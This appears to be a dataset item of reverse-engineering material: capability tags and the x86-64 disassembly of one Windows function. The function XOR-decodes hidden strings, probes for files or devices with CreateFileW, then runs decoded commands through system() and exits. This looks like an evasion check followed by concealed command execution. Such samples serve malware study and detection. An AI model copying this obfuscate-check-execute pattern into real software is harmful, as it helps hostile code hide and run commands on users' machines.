Function at 0x14004ef10
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
xor edi, edi
mov dword [rbp - 0x79], 0xd676d675
mov word [rbp - 0x65], di
mov ecx, edi
mov dword [rbp - 0x75], 0xd670d605
mov edx, 0x29d7
mov dword [rbp - 0x71], 0xd647d663
mov dword [rbp - 0x6d], 0xd657d668
mov dword [rbp - 0x69], 0xd640d674
mov byte [rbp - 0x63], 1
nop dword [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 0xa
jb 0x14004ef70
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x59], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd65dd666
mov dword [rbp - 0x6d], 0xd645d66b
mov dword [rbp - 0x69], 0xd642d65c
mov dword [rbp - 0x65], 0xd646d656
mov word [rbp - 0x61], di
mov byte [rbp - 0x5f], 1
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 0xc
jb 0x14004efc1
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x51], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd66ad664
mov dword [rbp - 0x6d], 0xd66e
mov byte [rbp - 0x69], 1
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 7
jb 0x14004f000
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x49], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd66ad664
mov dword [rbp - 0x6d], 0xd606d66e
mov dword [rbp - 0x69], 0xd605
mov byte [rbp - 0x65], 1
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 9
jb 0x14004f050
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x41], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd64ad644
mov dword [rbp - 0x6d], 0xd64e
mov byte [rbp - 0x69], 1
nop
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 7
jb 0x14004f090
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x39], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd64ad644
mov dword [rbp - 0x6d], 0xd606d64e
mov dword [rbp - 0x69], 0xd605
mov byte [rbp - 0x65], 1
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 9
jb 0x14004f0e0
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x31], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd64ad664
mov dword [rbp - 0x6d], 0xd606d64e
mov dword [rbp - 0x69], 0xd605
mov byte [rbp - 0x65], 1
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 9
jb 0x14004f130
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x29], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd64ad664
mov dword [rbp - 0x6d], 0xd64e
mov byte [rbp - 0x69], 1
nop
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 7
jb 0x14004f170
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x21], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd64fd647
mov dword [rbp - 0x6d], 0xd651d659
mov dword [rbp - 0x69], 0xd646
mov byte [rbp - 0x65], 1
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 9
jb 0x14004f1c0
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x19], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd64ad644
mov dword [rbp - 0x6d], 0xd643d64e
mov dword [rbp - 0x69], 0xd65c
mov byte [rbp - 0x65], 1
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 9
jb 0x14004f210
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 0x11], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd643d661
mov dword [rbp - 0x6d], 0xd65fd64e
mov word [rbp - 0x69], di
mov byte [rbp - 0x67], 1
nop dword [rax]
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 8
jb 0x14004f260
lea rax, [rbp - 0x79]
mov dword [rbp - 0x79], 0xd676d675
mov qword [rbp - 9], rax
mov rcx, rdi
mov dword [rbp - 0x75], 0xd670d605
mov dword [rbp - 0x71], 0xd64fd665
mov dword [rbp - 0x6d], 0xd65bd64c
mov dword [rbp - 0x69], 0xd640d654
mov word [rbp - 0x65], di
mov byte [rbp - 0x63], 1
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x79], ax
inc rcx
cmp rcx, 0xa
jb 0x14004f2b0
lea rax, [rbp - 0x79]
mov rbx, rdi
mov qword [rbp - 1], rax
nop
mov rcx, qword [rbp + rbx*8 - 0x59]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x14004f32c
inc rbx
cmp rbx, 0xc
jl 0x14004f2d0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x1400fa790]
lea rcx, [rbp - 0x59]
movdqa xmm1, xmmword [0x1400fa3e0]
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp + 7], 0xe0fee4b7
movdqa xmm0, xmmword [0x1400fa480]
movdqu xmmword [rbp - 0x49], xmm1
mov word [rbp + 0xb], 0x100
movdqa xmm1, xmmword [0x1400fa440]
movdqu xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [0x1400fa3f0]
movdqu xmmword [rbp - 0x29], xmm1
movdqa xmm1, xmmword [str.WZ_Z_6]
movdqu xmmword [rbp - 0x19], xmm0
movdqu xmmword [rbp - 9], xmm1
call fcn.14004f430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400fa790]
lea rcx, [rbp - 0x59]
movdqa xmm1, xmmword [0x1400fa3e0]
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp + 0x27], 0xc2958a99
movdqa xmm0, xmmword [0x1400fa480]
movdqu xmmword [rbp - 0x49], xmm1
mov dword [rbp + 0x2b], 0x100c2d8
movdqa xmm1, xmmword [0x1400fa420]
movdqu xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [0x1400fa370]
movdqu xmmword [rbp - 0x29], xmm1
movdqa xmm1, xmmword [0x1400fa870]
movdqu xmmword [rbp - 0x19], xmm0
movdqa xmm0, xmmword [0x1400fa880]
movdqu xmmword [rbp - 9], xmm1
movdqa xmm1, xmmword [0x1400fa850]
movdqu xmmword [rbp + 7], xmm0
movdqu xmmword [rbp + 0x17], xmm1
call fcn.14004f460
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3